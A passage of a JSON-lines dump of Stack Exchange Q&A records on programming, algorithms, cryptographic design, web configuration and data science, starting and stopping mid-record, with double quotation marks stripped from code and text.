* hash + Objects.hashCode(this.members);        return hash;    }    @Override    public boolean equals(Object obj) {        if (obj == null) {            return false;        }        if (getClass() != obj.getClass()) {            return false;        }        final Bank other = (Bank) obj;        return Objects.equals(this.members, other.members);    }}This class allows the transferal of items from bank to bank according to the rules of the puzzle.The next class encapsulates the state of play at any given time:final class State {    private final Bank leftBank;    private final Bank rightBank;    public State(final Bank leftBank, final Bank rightBank) {        this.leftBank = leftBank;        this.rightBank = rightBank;    }    public Bank leftBank() {        return leftBank;    }    public Bank rightBank() {        return rightBank;    }    public boolean isInitialState() {        return leftBank.hasAllMembers() && rightBank.isEmpty();    }    public boolean isSolution() {        return rightBank.hasAllMembers() && leftBank.isEmpty();    }    public boolean isFeasible() {        return leftBank.isFeasible() && rightBank.isFeasible();    }    public State moveToRight(final Member member) {        return new State(leftBank.evict(member), rightBank.accept(member));    }    public State moveToLeft(final Member member) {        return new State(leftBank.accept(member), rightBank.evict(member));    }    @Override    public int hashCode() {        int hash = 7;        hash = 97 * hash + Objects.hashCode(this.leftBank);        hash = 97 * hash + Objects.hashCode(this.rightBank);        return hash;    }    @Override    public boolean equals(Object obj) {        if (obj == null) {            return false;        }        if (getClass() != obj.getClass()) {            return false;        }        final State other = (State) obj;        if (!Objects.equals(this.leftBank, other.leftBank)) {            return false;        }        if (!Objects.equals(this.rightBank, other.rightBank)) {            return false;        }        return true;    }}This has various methods for determining whether that state is a solution etc.Next I have the interface Action and class ActionImpl, this stores the graph of the solution - so that the path to the solution can be determined:public interface Action<T> {    Action<T> previous();    T data();    Collection<Action<T>> children();    void children(Collection<Action<T>> children);}public class ActionImpl<T> implements Action<T> {    private final Action<T> previous;    private final T data;    private Collection<Action<T>> children;    public ActionImpl(final Action<T> previous, final T data) {        this.previous = previous;        this.data = data;    }    @Override    public Action<T> previous() {        return previous;    }    @Override    public T data() {        return data;    }    @Override    public Collection<Action<T>> children() {        return children;    }    @Override    public void children(Collection<Action<T>> children) {        this.children = children;    }    @Override    public int hashCode() {        int hash = 5;        hash = 43 * hash + Objects.hashCode(this.data);        return hash;    }    @Override    public boolean equals(Object obj) {        if (obj == null) {            return false;        }        if (getClass() != obj.getClass()) {            return false;        }        final ActionImpl<?> other = (ActionImpl<?>) obj;        return Objects.equals(this.data, other.data);    }}Now for the meat of the puzzle, this is the class that solves the puzzle:public class App {    public static void main(final String[] args) throws Exception {        final State initalState = new State(Bank.all(), Bank.none());        final Action<State> finalState = calculateGraph(new ActionImpl<>(null, initalState));        final List<State> solution = ImmutableList.copyOf(getSoltutionPath(finalState));        final ListIterator<State> solIter = solution.listIterator(solution.size());        while (solIter.hasPrevious()) {            System.out.println(solIter.previous());        }    }    private static Action<State> calculateGraph(final Action<State> parent) {        final Collection<Action<State>> states = calculateChildren(parent);        parent.children(states);        return states.stream().filter((n) -> n.data().isSolution()).findFirst().orElse(parent);    }    private static Collection<Action<State>> calculateChildren(final Action<State> parent) {        final State s = parent.data();        if (s.leftBank().farmerIsHere()) {            return process(parent, calculateMoves(s.leftBank(), (m) -> s.moveToRight(m)));        }        if (s.rightBank().farmerIsHere()) {            return process(parent, calculateMoves(s.rightBank(), (m) -> s.moveToLeft(m)));        }        throw new IllegalStateException(We seem to have lost the farmer.);    }    private static Collection<Action<State>> process(final Action<State> parent, final Collection<State> children) {        final Set<State> path = getSoltutionPath(parent);        return children.stream().                filter((s) -> !path.contains(s)).                map((s) -> calculateGraph(new ActionImpl<>(parent, s))).                collect(Collectors.toSet());    }    private static Set<State> calculateMoves(final Bank bank, final Function<Member, State> mover) {        return bank.stream().map(mover).filter(State::isFeasible).collect(Collectors.toSet());    }    private static Set<State> getSoltutionPath(Action<State> leaf) {        final ImmutableSet.Builder<State> lb = ImmutableSet.builder();        while (leaf != null) {            lb.add(leaf.data());            leaf = leaf.previous();        }        return lb.build();    }}The idea is to recursively walk the graph of feasible moves and bubble the target state up through the recursion. The solution can then be determined by walking back up the parent nodes in the solution graph.For completeness the output of running the code is:State(leftBank=Bank(members=[FARMER, WOLF, CABBAGE, GOAT]), rightBank=Bank(members=[]))State(leftBank=Bank(members=[CABBAGE, WOLF]), rightBank=Bank(members=[GOAT, FARMER]))State(leftBank=Bank(members=[CABBAGE, WOLF, FARMER]), rightBank=Bank(members=[GOAT]))State(leftBank=Bank(members=[WOLF]), rightBank=Bank(members=[GOAT, CABBAGE, FARMER]))State(leftBank=Bank(members=[GOAT, WOLF, FARMER]), rightBank=Bank(members=[CABBAGE]))State(leftBank=Bank(members=[GOAT]), rightBank=Bank(members=[CABBAGE, WOLF, FARMER]))State(leftBank=Bank(members=[GOAT, FARMER]), rightBank=Bank(members=[CABBAGE, WOLF]))State(leftBank=Bank(members=[]), rightBank=Bank(members=[GOAT, CABBAGE, WOLF, FARMER]))"  , "title": "Wolves, Goats and Cabbages in Java"  , "tags": "java"  } 
{  "id": "_webapps.41885"  , "question": "I was quite early with registering my Gmail account and I got a nice and clean baker@gmail.com address. Apparently all mails end up on my account when people make simple mistakes in typing the intended e-mail address. So I receive several legitimate mails each month from people that did not intend to mail me; people that I don't know and have no desire to know.If it where snail mail, I'd write Undeliverable or Wrong address over the envelope and put it back in the outgoing mail box. Now I'm looking for a way to do the same for e-mail. How can I show the sender of an e-mail that the e-mail address is wrong without revealing my identity?Any solution involving a Gmail feature, third-party application, or manipulation of the SMTP protocol is acceptable (I can program it if it doesn't exist already), as long as it works from Windows.I used to reply along the lines of: You sent this e-mail to the wrong address. You sent it to baker@gmail.com but you probably meant baker1@gmail.com. Kind regards, Marilyn Baker, revealing that my e-mail address is valid and who I was, and then they'd reply: Hey you have the same surname. You guys must surely be distantly related. Bla bla bla... John Baker is my husband, let's meet up... Bla bla. Anna Baker-FieldAll names and e-mail addresses are fake."  , "title": "Reply e-mail with 'Undelivered mail' message?"  , "tags": "email;gmail"  } 
{  "id": "_cs.10572"  , "question": "How is Perfect shuffle a better interconnect scheme for parallel processing? For example if we consider a problem of sum reduction, I want to understand how this scheme is useful when implementing sum reduction in parallel , for example on a GPU?    "  , "title": "Perfect shuffle in parallel processing"  , "tags": "computer architecture;parallel computing"  , "accepted_answer": "The perfect shuffle alone has never been used as an interconnection network; it always included exchange links, in order to allow for a worst-case $O(\\lg n)$ routing algorithm. Algorithms for reduction, broadcast, parallel prefix, transpose etc are given in Yosi Ben-Asher , David Egozi , Assaf Schuster, SIMD Algorithms for 2-D Arrays in Shuffle Networks.Stone was the first researcher to provide algorithms for the perfect shuffle network, including algorithms for the FFT, matrix transpose etc.This network has been used in several parallel machines, but mostly in multi-stage shuffle-exchange networks such as the Omega network (which uses the perfect shuffle between stages). An example is the IBM SP3 machine.Note that these are message-passing algorithms, whilst you refer to a GPU, which is instead a shared-memory device."  } 
{  "id": "_unix.280434"  , "question": "I would like to install PostgreSQL and PostGIS on my Ubuntu 14.04 virtual private server that is hosted in a remote datacenter.How can I enable remote access on them?"  , "title": "How can I install PostgreSQL and PostGIS on Ubuntu 14.04 and enable remote access over the internet?"  , "tags": "remote;postgresql"  } 
{  "id": "_softwareengineering.314077"  , "question": "I am wondering about best practices here.MVC (Model - View - Controller) patterns involve separating components of your program that model the data, manipulate those models, and display those results to the user (usually through the UI) in some way.What about a function that takes the model data and inserts it into a database? For example I have an object called a GameBoard, and I also want the ability to insert the state of this board into the SQL database for storage / historical purposes. I have a class that holds all my query functions.But where would I call these functions from? Would this sort of functionality make the most sense to make it as a method of GameBoard? Or should it be part of the controller classes?For example, I've got a GameBoard class and an SQLDatasource/SQLHelper class (which I call the models). The SQL classes have methods that take care of the queries and such. In Android, there are also Activity classes where all the events take place (I call these the controllers). The view takes place via code that binds the Activity to some XML. That being said, I normally instantiate the GameBoards in the Activity classes, and right now I also call the query functions from these same classes that accept a GameBoard as an argument."  , "title": "Using MVC style, where is the best place to put SQL functionality?"  , "tags": "java;design patterns;object oriented;programming practices;mvc"  , "accepted_answer": "A typical (but simplified) MVC architecture looks like this:Database <-->  Logic Layer <--> Controller <--> ViewYour Logic Layer contains the functions that you would call to perform your game-related activities.  The purpose of the Logic Layer is to translate your game-related functions into database operations."  } 
{  "id": "_cs.77473"  , "question": "Suppose that $F_2$ denotes the field with $2$ elements. We are given $m$ vectors $\\{x_1, \\ldots, x_m\\}$ in $F_2^d$ which are a basis for a subspace $W$. Suppose we have a vector $v \\in F_q^m$, and we want to find a $w \\in W$ that is closest to $v$ in the Hamming metric.What is the complexity of this problem, as a function of $md$?1) It's clear that there is an algorithm taking exponentially many steps. $W$ has $2^m$ elements, each of which takes $d$ bits to describe. So we just search through them.2) It's unclear to me if this problem is even in $NP$. I can verify in polynomial time whether one vector in $W$ is closer to $v$ than another vector in $W$, but I do not know how to verify if one is the closest (or minimizes the distance). I suspect that it is impossible to do. Can anyone outline or refer me to a proof that this problem is not in $NP$?3) If it is in $NP$, then is it $NP$-hard?I guess this is well known, and presumably already discussed on this webpage. I poked around for a bit and couldn't find it, however. A reference would be welcome."  , "title": "What is the complexity of Hamming nearest neighbor to a subspace ...?"  , "tags": "complexity theory;time complexity;coding theory"  , "accepted_answer": "Your problem is known as the nearest codeword problem, and it is NP-hard to approximate. See for example lecture notes of Madhu Sudan. The way to make this problem an NP-problem is to ask whether the distance is at most a given distance. Regarding algorithms, I suggest taking a look at a paper of Alon, Panigrahy and Yekhanin, Deterministic Approximation Algorithms for the Nearest Codeword Problem."  } 
{  "id": "_softwareengineering.96521"  , "question": "I've read in multiple answers that switch/case avoids unnecessary comparisons, but I never learned this in college, and I'm a little stumped on how the program would figure out which case to jump to without doing a comparison.Obviously, in the case of int switchVar=3; switch (switchVar) { case 0: ... case 1: ... case 2: ... case 3: ... case n: ... }, this would be pretty easy, as it could just create an array of pointers that point to the beginning of each case's code block, and it would simply do something along the lines of instructionPointer = switchJumpTable[switchVar];.However, this breaks down if you were to do a switch/case on a string, e.g. char switchVar[]=North; instructionPointer = jumpTable[switchVar]; where trying to access the North index of an array would cause an error (or if the compiler allowed this behind the scenes, I still don't see how it would avoid comparisons when converting the char array into an integer in order to access the array.)I can think of one way to get around unnecessary comparisons, but it wouldn't be terribly efficient, so I'm sorta curious as to how this is actually done, as I can't imagine that compilers are using the method that I have in mind."  , "title": "How is switch/case handled as to avoid comparisons to the case values?"  , "tags": "optimization;switch statement"  , "accepted_answer": "The answer varies Enormously by the individual compiler, but there are a few strategies that could be used.The usual answer is a jump table.  The case variable is looked up in a table containing all of the allowed values, and the program jumps to the address the table specifies.Of course, that's a fine strategy on the flat address models used in older CPU's, but the cost of an indirect branch on the deep pipelines of modern CPU's is often an order of magnitude greater than a simple conditional branch, (which is in turn more expensive than no branch).  indirect branching usually breaks the branch prediction logic on most CPU's that have it, and so the instructions after the branch cannot be prefetched until the lookup instruction has actually completed.  A regular conditional branch can prefetch one side of the branch and have a decent chance of 'guessing right'.  And so this optimization is rarely taken on compilers that target those CPU's, and instead the case statement is compiled as a tree of nested conditional branches."  } 
{  "id": "_codereview.92920"  , "question": "I picked up a programming game, TIS-100. Programming manual can be found on Steam as well, but I have described the relevant syntax in my question.Basically, you're dealing with some old machine that uses its own variant of assembly. It's a gamification of learning assembly, almost.The machine consists of nodes. Each node has pipes (UP LEFT DOWN RIGHT) that it can write and read from. When a pipe is read from, the value in the pipe disappears. It also has two registers, ACC and BAK. BAK can only be accessed with the SAV and SWP opcodes. Each node has its own code that it executes. This code is limited to 15 lines of 18 characters per node.I've already solved this level. The goal is counting sequences:- SEQUENCE COUNTER -> SEQUENCES ARE ZERO-TERMINATED> READ A SEQUENCE FROM IN> WRITE THE SUM TO OUT.S> WRITE THE LENGTH TO OUT.LShort syntax run down (based on commands I used):MOV <src> <dest> //moves from source to destination. Blocks if source is a pipe and doesn't have a value available. Blocks if dest is a pipe and already has a value.ADD value //adds to ACC<label>: //defines a label (for jumps)JMP <label> //jumps execution to labelJEZ <label> //jumps to label if ACC = 0. JumpifEqualsZero//there's also JumpifNotZero (JNZ), JumpifGreaterZero (JGZ), JumpifLesserZero (JLZ).SAV //MOV ACC BAKSWP //switches values of ACC and BAKThe game describes it like this:My program is a bit unwieldy to post in full, so I'll limit it to the three main nodes.This is the node responsible for counting the sequence length:S: MOV LEFT ACCJEZ ESWPADD 1SAVJMP SE: SWPMOV ACC DOWNMOV 0 ACCSAVThis is the node responsible for summing sequences:S: MOV UP ACCJEZ EMOV ACC LEFTSWPADD LEFTSAVJMP SE: SWPMOV ACC DOWNMOV 0 ACCAnd this is the node I abuse as temporary storage:MOV RIGHT ACCMOV ACC RIGHTWhat I don't like about my code is that it doesn't read very well.The sequence counter goes like so:STARTread value to ACCif ACC is 0, then GOTO ENDswap ACC and BAKadd 1 to ACCwrite ACC to BAKGOTO STARTENDswap ACC and BAKwrite ACC as outputset ACC to 0write ACC to BAKThere's duplication in here, where no matter if you are in the then or the (implicit) else case of the JEZ, you first swap ACC and BAK. Additionally, I'm abusing swap set write for altering BAK, but maybe that's the shortest way there is.For the sequence summer, I don't like how I'm abusing a separate node just for temporary storage.It works without errors.For reference, these are histograms showing the scores of people on levels, with mine highlighted via arrow:"  , "title": "Counting Sequence Length in TIS-100"  , "tags": "assembly;tis 100"  , "accepted_answer": "Unfortunately my hard drive containing my savegames crashed yesterday, so I cannot look up my solution, but I can say that the things you consider ugly are because of the limitations of that old computer system. I am abusing nodes as temporary storage all the time and my solution pretty much looked the same (if I remember correctly). As the histograms show you are not that bad (especially on cycles).We can optimize your solution in terms of # of instructions and maybe cycles as well, though. I am focussing on optimizing the existing algorithms, instead of creating a new program. I could not test my optimized solution, because I don't have Steam on this box, but they should work none-the-less:Your temporary storage node can be simplified to:MOV RIGHT RIGHTThis is a valid instruction and saves you one instruction.I only save my ACC just before it would get overridden. This removes some duplicate code (namely at least one SAV in your counter) and simplifies control flow. My rewritten algorithm is one instruction less than yours:L:SAV          # Save counterMOV LEFT ACC # Next itemJEZ EZ       # End of sequenceSWP          # Restore counterADD 1        # IncrementJMP L        # LoopEZ:          # End of sequenceSWP          # Restore counterMOV ACC DOWN # OutputSUB ACC      # Clear ACC BAK is not needed in your summing node. You only need the value from your temporary storage node and the new value. Some reordering of instructions allows you to directly add the saved sum to the new value. I again saved the ACC in the very last moment:L:MOV ACC LEFT  # Save sum MOV UP ACC    # Next itemJEZ EZ        # End of sequenceADD LEFT      # Add sum JMP L         # LoopEZ:           # End of sequenceMOV LEFT DOWN # Output sum SUB ACC       # Clear ACCGetting rid of BAK saved us 3 instructions on this one!Conclusion: Absolutely abuse the instruction set (e.g. my first bullet point) and possibilities of the game (storing values in the pipes) to achieve good scores in the different metrics. Don't try to optimize for everything, you have got three saves per level!"  } 
{  "id": "_vi.11883"  , "question": "I am confused about what is going on in this example and why spell checking is not working any help is appreciated.While editing a markdown file with spell checking enabled the following happens:* This line is spellchecked    - This line is also spellchecked        - This line is not spellcheckedI also noticed that this also doesn't work* This line is really long but spellchecked    continuation of text after linewrap from the previous line, this line is not spellcheckedIndentation is 1 tab character per level.Google has turned up nothing but since the - is not bold on the third bullet as the rest are I assume this is some kind of markdown spec violation but I am not sure which. Is there a way to make this work?"  , "title": "markdown spell checking with triple nested bullet point"  , "tags": "spell checking;filetype markdown"  } 
{  "id": "_webmaster.34400"  , "question": "How can I automatically save site's copy each week with an option to browse saved copies? I need kind of WebArchive, but on my local computer."  , "title": "Saving website copy and browsing saved copies"  , "tags": "webserver;backups"  } 
{  "id": "_webmaster.68869"  , "question": "I'm sure this is an easy thing to do but I can't seem to find the answer!I'm trying to redirect https://carddav.example.com/MYUSERNAME to https://carddav.example.com/remote.php/subdomain/addressbooks/MYUSERNAME/contacts where MYUSERNAME can be anything.The current RewriteRule I have attempted looks like:RewriteRule ^/(.*)$ https://carddav.example.com/remote.php/carddav/addressbooks/$1/contacts/ [R=301]"  , "title": "Redirect Everything After slash (/) to another directory"  , "tags": "htaccess;301 redirect;mod rewrite;apache2"  , "accepted_answer": "You can do this with a single RewriteRule. The trick here is to only check for valid username characters, not everything (ie. .* - I wouldn't have thought your usernames could literally be anything?). This would also be more efficient since not every request will match and be processed.For example, assuming your usernames can only consist of upper/lowercase letters and numbers then:RewriteRule ^([a-zA-Z0-9])$ /remote.php/carddav/addressbooks/$1/contacts [R=301]This is very similar to your initial attempt. Note that the RewriteRule pattern in per-directory .htaccess files does not begin with a slash, however, if this rule was used in your server config then it would!This also naturally avoids the rewrite loop since /remote.php/carddav... will not match as a valid username (specifically . and / would fail to match).You could also limit the length of the username, to say between 4 and 20 characters...  ^([a-zA-Z0-9]{4,20})$.If you needed to match any character except a slash (a slash would surely break your destination URL?) then you could use a pattern like:  ^([^/]+)$"  } 
{  "id": "_webapps.100872"  , "question": "So I am hoping that one of you excellent minds will be able to assist me. I have about dozen tables in a new form that are working perfectly. tables may contain positive or negative adjustments to static numbers. I need a field to calculate all of the fields that contain negative adjustments and another for positive adjustments.I imagine some sort of if then statement will do this... but I am not sure where to start.Something like this maybe...dunno=if ChangeAmount <= 0 then ADD So grateful for any assistance you can give me. "  , "title": "Cognito Forms: If then calculations based on value"  , "tags": "cognito forms"  } 
{  "id": "_cs.9875"  , "question": "Given an $n \\times n$ matrix $\\mathbf{A}$. Let the inverse matrix of $\\mathbf{A}$ be $\\mathbf{A}^{-1}$ (that is, $\\mathbf{A}\\mathbf{A}^{-1} = \\mathbf{I}$). Assume that one element in $\\mathbf{A}$ is changed (let's say $a _{ij}$ to $a' _{ij}$). The objective is to find $\\mathbf{A}^{-1}$ after this change. Is there a method to find this objective that is more efficient than re-calculating the inverse matrix from scratch. "  , "title": "Computing inverse matrix when an element changes"  , "tags": "algorithms;numerical analysis;online algorithms"  , "accepted_answer": "The Sherman-Morrison formula could help:$$ (A + uv^T)^{-1} = A^{-1} - \\frac{A^{-1} uv^T A^{-1}}{1 + v^T A^{-1} u}. $$Let $u = (a'_{ij}-a_{ij}) e_i$ and $v = e_j$, where $e_i$ is the standard basis column vector. You can check that if the updated matrix is $A'$ then$$ A^{\\prime -1} = A^{-1} - \\frac{(a'_{ij}-a_{ij})A^{-1}_{i\\rightarrow} A^{-1T}_{\\downarrow j}}{1 + (a'_{ij}-a_{ij})A^{-1}_{ij}}.$$"  } 
{  "id": "_codereview.142355"  , "question": "It occurred to me that if SHA2 can be used to derive keys from passwords, then it might as well be good enough to generate random data that can be xored with a plaintext to encrypt and the other way around.These are my assumptions:SHA-512 produces a random-looking output that is impossible to guessThe result of SHA-512 can be fed back into it appended to a 256-bit key and produce an output with the same quality as given for a random inputIf those assumptions hold, then it should provide privacy. It's much faster than AES-256-CBC.At first I thought there must be something I'm missing, but no one has pointed out an attack that can be carried out against this construction. So what I would like to know is how secure this algorithm is and specific ways to break it.Here's the code:mad.h#ifndef _MAD_H_#define _MAD_H_typedef struct {  unsigned char state[64];  unsigned char key[32];} MadCtx;void mad_ctx_init(MadCtx* mad, unsigned char const* key,                  unsigned char const* iv);void mad_encrypt(MadCtx* mad, unsigned char const* in, unsigned int in_size,                 unsigned char* out); void mad_decrypt(MadCtx* mad, unsigned char const* in, unsigned int in_size,                 unsigned char* out);#endifmad.c#include mad.h#include <stdint.h>#include <assert.h>#include <string.h>#include <openssl/sha.h>// Privatestatic void _xor64(uint64_t* dest, uint64_t const* a, uint64_t* b){  for(int i = 0; i < 8; ++i)    *dest++ = *a++ ^ *b++;}// Publicvoid mad_ctx_init(MadCtx* mad, unsigned char const* key,                  unsigned char const* iv){  memcpy(mad->state, iv, 64);  memcpy(mad->key, key, 32);}void mad_encrypt(MadCtx* mad, unsigned char const* in, unsigned int in_size,                 unsigned char* out){  assert(0 == in_size % 64);  int n = in_size >> 6; // in_size / 64  while(n){    uint64_t x[8];    SHA512((unsigned char const*)mad, 96, (unsigned char*)x);    _xor64((uint64_t*)out, (uint64_t const*)in, x);    memcpy(mad->state, out, 64);    in += 64;    out += 64;    --n;  }}void mad_decrypt(MadCtx* mad, unsigned char const* in, unsigned int in_size,                 unsigned char* out){  assert(0 == in_size % 64);  int n = in_size >> 6; // in_size / 64  while(n){    uint64_t x[8];    SHA512((unsigned char const*)mad, 96, (unsigned char*)x);    memcpy(mad->state, in, 64);    _xor64((uint64_t*)out, (uint64_t const*)in, x);    in += 64;    out += 64;    --n;  }}and some test code#include mad.h#include <stdio.h>#include <stdlib.h>#include <string.h>#include <assert.h>void phex(void const* data, size_t size){  char const* table = 0123456789abcdef;  unsigned char const* in = data;  while(size--){    int c;    c = table[*in >> 4];    putchar(c);    c = table[*in & 0xf];    putchar(c);    ++in;  }}void read_or_die(FILE* file, void* dest, size_t size){  if(size != fread(dest, 1, size, file)){    perror(fread());    exit(EXIT_FAILURE);  }}int main(int argc, char* argv[]){  FILE* urandom = fopen(/dev/urandom, r);  unsigned char iv[64];  unsigned char key[32];  unsigned char plain[128];  unsigned char cipher[128];  unsigned char decrypted[128];  read_or_die(urandom, iv, 64);  read_or_die(urandom, key, 32);  memset(plain, 0xdd, 128);  puts(plain text is:);  for(int i = 0; i != 128; i += 32){    phex(plain + i, 32);    putchar('\\n');  }  putchar('\\n');  MadCtx ctx;  mad_ctx_init(&ctx, key, iv);  mad_encrypt(&ctx, plain, 128, cipher);  puts(cipher text is:);  for(int i = 0; i != 128; i += 32){    phex(cipher + i, 32);    putchar('\\n');  }  putchar('\\n');  assert(0 != memcmp(plain, cipher, 128));  mad_ctx_init(&ctx, key, iv);  mad_decrypt(&ctx, cipher, 128, decrypted);  puts(decrypted text is:);  for(int i = 0; i != 128; i += 32){    phex(decrypted + i, 32);    putchar('\\n');  }  putchar('\\n');  assert(0 == memcmp(plain, decrypted, 128));}"  , "title": "Using SHA-512 for encryption/decryption"  , "tags": "algorithm;c;cryptography"  , "accepted_answer": "The above encrypt/decrypt functions can be summarized as follows:void mad_encrypt(...){  while(n)  {    SHA512(mad, 96, x);    XOR(out, in, x);    memcpy(mad->state, out, 64);    ...  }}void mad_decrypt(...){  while(n)  {    SHA512(mad, 96, x);    XOR(out, in, x);    memcpy(mad->state, in, 64);    ...  }}This is basically the CFB mode. Note that the two functions are almost identical, except a small difference in memcpy. AES in CFB mode is done in much the same way, except of course it uses AES block cipher instead of SHA512(...) function above. Also AES uses blocks of 16 bytes, so AES has to run 4 rounds to catch up with a single SHA512 round. Overall, AES is faster. To compare the performance you can simply compare 4 rounds of AES to 1 round of SHA512. Watch out for compiler optimizations which may skew the result. Many tests have already been done for this, it shows AES is faster.AES also uses key expansion which makes it more secure. Key expansion is relatively slow but it's done only once per file/data. This may skew the performance test depending on how the test is done.typedef struct {  unsigned char state[64];  unsigned char key[32];} MadCtx;For improvement, don't let the key linger on in MadCtx::key. For example, you can use SHA512 to combine the key with IV (or state as you call it) so it becomes hidden during the operation, then you can drop key out of the structure.Example:unsigned char mad_IV[64];void mad_init(const unsigned char *key, const unsigned char* iv){    unsigned char buf[96];    memcpy(buf, iv, 64);    memcpy(buf + 64, key, 32);    SHA512(buf, 96, mad_IV);}void mad_crypt(char const* in, int in_size, char* out, int encrypt){    assert(0 == in_size % 64);    int n = in_size >> 6; // in_size / 64    while (n)    {        SHA512(mad_IV, 64, mad_IV);        _xor64((uint64_t*)out, (uint64_t*)in, (uint64_t*)mad_IV);        if (encrypt)            memcpy(mad_IV, out, 64);        else            memcpy(mad_IV, in, 64);        in += 64;        out += 64;        --n;    }}int main(){       unsigned char iv[64] = { 0 };    unsigned char key[32] = { 0 };    memcpy(iv, iv, 2);    memcpy(key, key, 3);    int size = 640;    char *plaintext = malloc(size);    char *decrypted = malloc(size);    char *encrypted = malloc(size);    memset(plaintext, 0, size);    memset(encrypted, 0, size);    memset(decrypted, 0, size);    strcpy_s(plaintext, size, plainxxxxxx.);    mad_init(key, iv);    mad_crypt(plaintext, size, encrypted, 1);    mad_init(key, iv);    mad_crypt(encrypted, size, decrypted, 0);    phex(encrypted, 64);    printf(\\n\\n);    printf(plaintext: %s\\n, plaintext);    printf(decrypted: %s\\n, decrypted);    putchar('\\n');    return 0;}"  } 
{  "id": "_unix.377600"  , "question": "I followed the instructions at this email thread, and placed services.xserver.xkbOptions = grp:alt_space_toggle, ctrl:swapcaps;in my /etc/nixos/configuration.nix file, but even after rebuilding with $ nixos-rebuild switch, and rebooting with nixos-rebuild boot and reboot, my caps lock key is not remapped.How to map caps-lock to ctrl in nixos?"  , "title": "In nixos, how to remap caps lock to control?"  , "tags": "nixos"  } 
{  "id": "_codereview.155513"  , "question": "I want to fill an array of complex numbers using a uniform generator. I thought up the next code. (Complex is a simple fixed-point complex data type.)std::generate(inputData.begin(), inputData.end(), []()-> Complex {    static std::default_random_engine generator;    static std::normal_distribution<double> distribution(0.0, 0.5); // mean = 0.0, stddev = 0.5    return Complex(distribution(generator), distribution(generator));});So I though up using static variables within the lambda expression. Is that inefficient? Alternatively I would create them outside of the lambda, and put them on the capture list. But I don't need them outside of the lambda, so this seems cleaner to me."  , "title": "Fill a vector with uniformly distributed random complex numbers"  , "tags": "c++;lambda;static"  } 
{  "id": "_codereview.129647"  , "question": "In this example, I am only looking for the first duplicate - curious if this logic in for loop (take from the top, evaluate, put on the bottom) pattern has a standard formfunction findOneDupe(input){  var b = input.split(/\\s|\\n/).map(Number);  b.shift();  for (var i=0;i<b.length;i++){    var e = b.shift();    if (b.indexOf(e) == -1) return e;    b[b.length] = e;  }  return -1;}"  , "title": "Take from top, evaluate, put on bottom"  , "tags": "javascript"  } 
{  "id": "_webapps.100756"  , "question": "Let's say in Sheet 2 I have a column (A) of words, and a column (B) of hex color codes.  In Sheet 1, wherever a word from Sheet 2 appears alone in a cell, that cell should get the background color from Sheet 2.EX. Sheet 2A    |  BCat  |  #FF2223Dog  |  #114589Bat  |  #123456I've tried using custom functions, but custom functions don't give you permissions to set the background color of cells.Using conditional formatting seems awkward, as I might have thousands of words in Sheet 2.Is there a way to accomplish this?"  , "title": "How can I change the background color of a cell based on the cell contents using a color lookup sheet?"  , "tags": "google spreadsheets;conditional formatting"  } 
{  "id": "_cstheory.5961"  , "question": "In the paper The Random Oracle Hypothesis Is False, the authors (Chang, Chor, Goldreich, Hartmanis, Hstad, Ranjan, and Rohatgi) discuss the implications of the random-oracle hypothesis. They argue that we know very little about separations between complexity classes, and most results involve either using reasonable assumptions, or the random-oracle hypothesis. The most important and widely believed assumption is that PH does not collapse. In their words:In one approach, we assume as a working hypothesis that PH has infinitely many levels. Thus, any assumption which would imply that PH is finite is deemed incorrect. For example, Karp and Lipton showed that if NP  P/poly, then PH collapses to $\\Sigma^P_2$. So, we believe that SAT does not have polynomial sized circuits. Similarly, we believe that the Turing-complete and many-one complete sets for NP are not sparse, because Mahaney showed that these conditions would collapse PH. One can even show that for any k  0, $P^{\\mathrm{SAT}[k]} = P^{\\mathrm{SAT}[k+1]}$ implies that PH is finite. Hence, we believe that $P^{\\mathrm{SAT}[k]} \\ne P^{\\mathrm{SAT}[k+1]}$ for all k  0. Thus, if the polynomial hierarchy is indeed infinite, we can describe many aspects of the computational complexity of NP.Apart from the assumption about PH not collapsing, there have been many other complexity assumptions. For instance:Yao deems the following assumption plausible:$RP \\subseteq \\bigcap\\limits_{\\epsilon > 0} DTIME(2^{n^\\epsilon})$.Nisan and Wigderson make several assumptions related to derandomization.The main idea of this question is what its title says: To be an anthology of complexity-theoretic assumptions. It would be great if the following conventions were adhered to (whenever possible):The assumption itself;The first paper in which the assumption is made;Interesting results in which the assumption is used;If the assumption has ever been refuted / proved, or whether its plausibility has ever been discussed.This post is meant to be a community wiki; if an assumption is already cited, please edit the post and add new information rather than making a new post.Edit (10/31/2011): Some cryptographic assumptions and information about them are listed in the following websites:Wiki of Cryptographic Primitives and Hard Problems in Cryptography.Helger Lipmaa's Cryptographic assumptions and hard problems."  , "title": "An Anthology of Complexity Assumptions"  , "tags": "cc.complexity theory;complexity classes;big list;complexity assumptions"  } 
{  "id": "_datascience.9483"  , "question": "I am a newbie to XGBoost so pardon my ignorance. Here is the python code : import pandas as pdimport xgboost as xgbdf = pd.DataFrame({'x':[1,2,3], 'y':[10,20,30]})X_train = df.drop('y',axis=1)Y_train = df['y']T_train_xgb = xgb.DMatrix(X_train, Y_train)params = {objective: reg:linear}gbm = xgb.train(dtrain=T_train_xgb,params=params)Y_pred = gbm.predict(xgb.DMatrix(pd.DataFrame({'x':[4,5]})))print Y_predOutput is :[ 24.126194  24.126194]As you can see the input data is simply a straight line. So the output I expect is [40,50].  What am I doing wrong here?"  , "title": "XGBoost Linear Regression output incorrect"  , "tags": "python;linear regression;xgboost"  , "accepted_answer": "It seems that XGBoost uses regression trees as base learners by default. XGBoost (or Gradient boosting in general) work by combining multiple of these base learners. Regression trees can not extrapolate the patterns in the training data, so any input above 3 or below 1 will not be predicted correctly in your case. Your model is trained to predict outputs for inputs in the interval [1,3], an input higher than 3 will be given the same output as 3, and an input less than 1 will be given the same output as 1.Additionally, regression trees do not really see your data as a straight line as they are non-parametric models, which means they can theoretically fit any shape that is more complicated than a straight line. Roughly, a regression tree works by assigning your new input data to some of the training data points it have seen during training, and produce the output based on that. This is in contrast to parametric regressors (like linear regression) which actually look for the best parameters of a hyperplane (straight line in your case) to fit your data. Linear regression does see your data as a straight line with a slope and an intercept.You can change the base learner of your XGBoost model to a GLM (generalized linear model) by adding booster:gblinear to your model params :import pandas as pdimport xgboost as xgbdf = pd.DataFrame({'x':[1,2,3], 'y':[10,20,30]})X_train = df.drop('y',axis=1)Y_train = df['y']T_train_xgb = xgb.DMatrix(X_train, Y_train)params = {objective: reg:linear, booster:gblinear}gbm = xgb.train(dtrain=T_train_xgb,params=params)Y_pred = gbm.predict(xgb.DMatrix(pd.DataFrame({'x':[4,5]})))print Y_predIn general, to debug why your XGBoost model is behaving in a particular way, see the model parameters :gbm.get_dump()If your base learner is linear model, the get_dump output is 